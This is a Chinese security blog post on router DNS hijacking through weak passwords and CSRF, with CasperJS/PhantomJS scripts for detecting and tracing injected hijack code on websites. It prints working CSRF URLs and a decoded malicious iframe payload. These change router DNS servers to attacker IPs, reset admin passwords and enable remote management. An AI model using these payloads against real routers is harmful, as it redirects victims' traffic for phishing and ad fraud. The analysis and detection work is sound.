近一段时间针对路由器的劫持事件层出不穷,大到某宝,小到无名站点,都被人挂上了dns劫持的代码用以钓鱼或广告推广。而路由器dns劫持的本质就是弱密码配合路由器的csrf漏洞的共同利用。利用的条件十分简单:不需要目标站点存在漏洞,只要能够插入图片等任何多媒体元素。比如下面这段代码,最直接的利用方法:
http://admin:admin@192.168.1.1/images/logo.jpg
以及其他各类变形:
http://admin:admin@192.168.1.1/userRpm/PPPoECfgAdvRpm.htm?wan=0&lcpMru=1480&ServiceName=&AcName=&EchoReq=0&manual=2&dnsserver=106.186.114.78&dnsserver2=114.114.114.114&downBandwidth=0&upBandwidth=0&Save=%B1%A3+%B4%E6&Advanced=Advanced http://admin:admin@192.168.1.1/userRpm/ManageControlRpm.htm?port=56&ip=0.0.0.0&Save=%C8%B7+%B6%A8 http://guest:guest@192.168.1.1/router/UserPassSet.cgi?new_user_name=guest&password1=newsa123&password2=newsa123 http://guest:newsa123@192.168.1.1/router/add_dhcp_segment.cgi?dhcp_on_chk=0&dhcp_server_on=1&dhcp_start_ip1=192.168.1.2&dhcp_end_ip1=192.168.1.254&dhcp_start_ip2=&dhcp_end_ip2=&dhcp_start_ip3=&dhcp_end_ip3=&lan_as_gw_chk=0&is_lan_as_gw=1&custom_gw=&lease_time=86400&is_router_as_dns=1&dns1=133.242.205.251&dns2=8.8.8.8&dns3=&auto_bind=1&submitbutton=+%E4%BF%9D%E5%AD%98%E7%94%9F%E6%95%88+
通过对样本的分析,可以发现有一下几种利用方式:
1,弱密码=>直接修改dns csrf 2,弱密码=>修改路由密码csrf(防止被其他人利用)=>修改dns csrf 3,弱密码=>开启路由远程管理csrf(修改dns页不存在csrf)=>连接路由远程管理修改dns
还有其他更猥琐的方式,殊途同归都达到了劫持的目的。
经过对网络中海量站点的分析,发现路由dns劫持现象较为严重,需要一个行之有效的检测方案,这里通过一个案例回溯站点植入dns劫持代码的一般过程。
假设被植入劫持代码站点:http://www.foo.com/。使用Chrome f12调出控制台并访问该网站。console中“Network”中的http请求结果如下:
一共6条劫持链接,快被人插成筛子了。在“Initiator”一列可以发现当前这些劫持请求的始作俑者是“dns.js”,点击链接会引导我们查看该文件源码:
对文件中编码的部分进行解码可得:
Microsoft Internet Explorer;MSIE6.0<div style=display:none;><iframe src='http://admin:admin@192.168.1.1/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=133.242.205.251&dnsserver2=8.8.8.8&Save=%B1%A3+%B4%E6' ></iframe><iframe src='http://admin:admin@192.168.1.1/userRpm/ChangeLoginPwdRpm.htm?oldname=admin&oldpassword=admin&newname=admin&newpassword=newsa123&newpassword2=newsa123&Save=%B1%A3+%B4%E6' ></iframe><iframe src='http://admin:newsa123@192.168.1.1/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=133.242.205.251&dnsserver2=8.8.8.8&Save=%B1%A3+%B4%E6' ></iframe><iframe src='http://guest:guest@192.168.1.1/router/add_dhcp_segment.cgi?dhcp_on_chk=0&dhcp_server_on=1&dhcp_start_ip1=192.168.1.2&dhcp_end_ip1=192.168.1.254&dhcp_start_ip2=&dhcp_end_ip2=&dhcp_start_ip3=&dhcp_end_ip3=&lan_as_gw_chk=0&is_lan_as_gw=1&custom_gw=&lease_time=86400&is_router_as_dns=1&dns1=133.242.205.251&dns2=8.8.8.8&dns3=&auto_bind=1&submitbutton=+%E4%BF%9D%E5%AD%98%E7%94%9F%E6%95%88+' ></iframe><iframe src='http://guest:guest@192.168.1.1/router/UserPassSet.cgi?new_user_name=guest&password1=newsa123&password2=newsa123' ></iframe><iframe src='http://guest:newsa123@192.168.1.1/router/add_dhcp_segment.cgi?dhcp_on_chk=0&dhcp_server_on=1&dhcp_start_ip1=192.168.1.2&dhcp_end_ip1=192.168.1.254&dhcp_start_ip2=&dhcp_end_ip2=&dhcp_start_ip3=&dhcp_end_ip3=&lan_as_gw_chk=0&is_lan_as_gw=1&custom_gw=&lease_time=86400&is_router_as_dns=1&dns1=133.242.205.251&dns2=8.8.8.8&dns3=&auto_bind=1&submitbutton=+%E4%BF%9D%E5%AD%98%E7%94%9F%E6%95%88+' ></iframe></div>appNameappVersionsplitreplacewritewritewritewritewritewritewritewrite
找到了劫持请求来源,但是我们直接view-source是找不到dns.js这个文件的,应该是由其他文件DOM输出的,我们切到console,按ctrl+shift+f,输入dnsjs:
找到了劫持代码的源头在tools.js文件中,整个劫持的流程:
tools.js–>http://xxx/dnsjs–>http://yyy/dns.js–>csrf代码
根据以上手工的溯源方法,这里使用phantomjs无界面的webkit引擎来进行自动化的检测。phantomjs是一款轻量级的webkit引擎,常用来进行Web功能测试,网页截图,页面自动化操作以及网络请求监控,其他详细使用可参考官网。这里我使用CasperJs来协助phantomjs,Casperjs对phantomjs的诸多API进行了封装,提供了更友好的接口和更多的功能。
DNS劫持检测的思路(V1.0):
phantomjs引擎打开待检测页面,监控页面打开过程中的HTTP请求,在callback中对每一个请求进行恶意代码的正则匹配,匹配到便输出检测结果。
代码如下:
/* dnsHijack 0.1 code by pnig0s 20131111 */ var hijack_re = //g; url = ''; verbose = false; result = []; phantom.casperPath = './casperjs'; phantom.injectJs(phantom.casperPath+'/bin/bootstrap.js'); var fs = require('fs'); var utils = require('utils'); var casper = require('casper').create({ verbose: true, stepTimeout: 10000, //logLevel: "debug", pageSettings: { localToRemoteUrlAccessEnabled:true, javascriptEnabled:true, loadImages:true, loadPlugins:false, localToRemoteUrlAccessEnabled:true, XSSAuditingEnabled:false }, onError: function (self,m) { self.exit(); phantom.exit(); }, onStepTimeout: function () { casper.echo(JSON.stringify(result)); //casper.echo("Step timeout."); casper.exit(); phantom.exit(); } }); if (casper.cli.args.length < 1) { casper.echo('dnsHijackDetect1.0','COMMENT'); casper.echo(' pnig0s 20131106','COMMENT'); casper.echo(' Usage:detect.js http://foo.com','COMMENT'); casper.echo(' --verbose print details.','COMMENT'); casper.exit(); phantom.exit(); }else{ url = casper.cli.args[0]; verbose = casper.cli.has("verbose") || false; } casper.on('resource.requested', function(resource) { if(hijack_re.test(resource.url)){ result.push(resource.url); if(verbose){ casper.echo('[+] [INFO]DNS Hijacking url found!FORBIDDENED.','ERROR'); } } if(verbose){ casper.echo(resource.url); } }); casper.start(url, function() { this.echo(JSON.stringify(result)); }); casper.run();
这是最基本的检测方式,能够快速检测出存在劫持代码的网站。
但是这种方法无法找到劫持代码产生的来源,为了能进一步像刚才手工一样回溯DOM的解析过程,那定是极好的。
DNS劫持检测思路(V2):
在V1的基础上,保存从DOM解析开始到发现劫持代码为止,所有的资源请求。依次使用 script标签嵌入这些资源进行解析,并在解析后的DOM树中用正则进行特征匹配,由于浏览器对于Javascript是按时间顺序解析的,因此可以回 溯出劫持代码的产生过程,这里有两个trick:
1,大部分劫持代码都对Cookie做了判断,需要在第一次页面解析完成后清除Cookie,且需要在依次解析过程中,如果发现一次存在劫持代码,就要清理一次Cookie再继续解析,这里删除Cookie的方法是设置Expire time。
2,DOM解析的过程和Javascript是异步的,这时需要先判断DOM页面已经解析完 毕,再进行正则的匹配。我这里用到的方式是在script后加一个iframe,当DOM解析完成后,触发iframe的onload事件,向页面中追加 一个id=”finished”的div,而phantomjs的API是可以等待页面中出现某个特定的selector之后才继续执行的。
完整代码如下:
/* dnsHijack v2.0 code by pnig0s 20131124 */ var hijack_re = //; url = ''; flag = false; bingo = false; verbose = false; result = []; payload = []; suspect_file = []; //phantom.casperPath = './casperjs'; //phantom.injectJs(phantom.casperPath+'/bin/bootstrap.js'); var utils = require('utils'); var casper = require('casper').create({ clientScripts:[ 'include/addition.js' ], verbose: true, //stepTimeout: 200000, //logLevel: "debug", pageSettings: { localToRemoteUrlAccessEnabled:true, javascriptEnabled:true, loadImages:true, loadPlugins:false, XSSAuditingEnabled:false, webSecurityEnabled:false }, onError: function (self,m) { self.exit(); }, onStepTimeout: function () { //casper.echo(JSON.stringify(result)); //casper.echo("Step timeout."); }, onResourceRequested: function(self,resource) { if(verbose){ casper.echo(resource.url); } if(hijack_re.test(resource.url)){ bingo = true; if(!flag){ payload.push(resource.url); if(verbose){ casper.echo('[+] [INFO]DNS Hijacking url found!FORBIDDENED.','ERROR'); } } //self.abort(); } var ext = utils.fileExt(resource.url); if(!bingo && ext!='jpg' && ext!='css' && ext!='png' && ext!='gif' && ext!='bmp' && ext!='flv' && ext!='swf'){ result.push(resource.url); } } }); if (casper.cli.args.length < 1) { casper.echo('dnsHijackDetect1.0','COMMENT'); casper.echo(' pnig0s 20131106','COMMENT'); casper.echo(' Usage:detect.js http://foo.com','COMMENT'); casper.echo(' --verbose print details.','COMMENT'); casper.exit(); }else{ url = casper.cli.args[0]; verbose = casper.cli.has("verbose") || false; } casper.start().thenOpen(url); casper.thenEvaluate(function () { document.write("<html></html>"); Deletecookie(); }); casper.then(function () { flag = true; if(!bingo){result = [];} this.each(result,function (self,item) { this.then(function () { this.evaluate(function (item) { Deletecookie(); document.body.innerHTML = ""; document.write('<html><head><script src="'+item+'"></script></head><body><iframe class="finished_flag" onload=loadFinished()></iframe></body></html>'); },item); casper.waitForSelector( '.document_load_finished', function () { }, function () { //this.echo("timeout"); },20000); if(hijack_re.test(this.getHTML())){ if(verbose){ casper.echo('[+] [INFO]Suspect file:'+item,'ERROR'); } suspect_file.push(item); this.evaluate(function(){ document.body.innerHTML = ""; }); } }); }); }); casper.run(function(){ if(verbose){ this.echo('[+] DNS hijack url:','ERROR'); for(i in payload){ this.echo(payload[i]); } this.echo('[+] Hijacking dom process:','ERROR'); for(i in suspect_file){ this.echo(suspect_file[i]); } } this.echo('hijack_url:'+JSON.stringify(payload)); this.echo('suspect_file:'+JSON.stringify(suspect_file)); this.clear(); this.exit(); }); /*utils.dump(casper.steps.map(function (step) { return step.toString(); }));*/
其中包含了addition.js,有关清除Cookie和设置完成标识的代码:
function loadFinished () { key_node = document.createElement("div"); key_node.setAttribute('class','document_load_finished'); document.body.appendChild(key_node); } function getCookieVal (offset) { var endstr = document.cookie.indexOf (";", offset); if (endstr == -1) endstr = document.cookie.length; return unescape(document.cookie.substring(offset, endstr)); } function GetCookie (name) { var arg = name + "="; var alen = arg.length; var clen = document.cookie.length; var i = 0; while (i < clen) { var j = i + alen; if (document.cookie.substring(i, j) == arg) return getCookieVal (j); i = document.cookie.indexOf(" ", i) + 1; if (i == 0) break; } return null; } function Deletecookie () { var tokens = document.cookie.split(';'); for (var index = 0; index < tokens.length; index++) { var pair = tokens[index].split('='); var name = unescape(pair[0]) ; var exp = new Date(); exp.setTime (exp.getTime() - 1); var cval = GetCookie (name); document.cookie = name + "=" + cval + ";path=/;expires=" + exp.toGMTString(); } }
最后的形态如图所示(DNS劫持代码检测)。
鸣谢:知道创宇安全研究团队,superhei。
转自:http://www.pnigos.com/?p=168